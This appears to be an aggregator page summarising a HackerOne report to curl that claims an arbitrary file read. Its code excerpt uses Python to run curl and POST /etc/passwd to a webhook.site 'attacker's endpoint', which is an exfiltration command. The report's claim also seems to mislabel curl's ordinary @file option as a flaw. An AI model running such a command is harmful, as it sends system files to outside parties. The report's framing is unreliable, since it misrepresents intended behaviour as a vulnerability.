Arbitrary File Read via Unsanitized curl Usage Results in Sensitive File Exposure
路径遍历 / External Control of File Name or Path / #3183957
该报告还没有中文解读。
原文摘录
摘自原文(2071 字符中的一小部分)
Hello team, First of all, your open report policy has improved me a lot. Your very caring team has motivated me a lot. A real bug bounty program. I hope I can contribute something to you with this report.Thank you.
原文中的代码
import subprocess
# Attacker's endpoint
webhook_url = "https://webhook.site/fd9dfaf1-7ed0-446e-9c6f-e182f6b11e4e"
file_path = "/etc/passwd"
cmd = [
"curl",
"-X", "POST",
"-d", f"@{file_path}",
webhook_url
]
subprocess.run(cmd, check=True)
默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 curl 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ednaq · 版权归作者与 curl 所有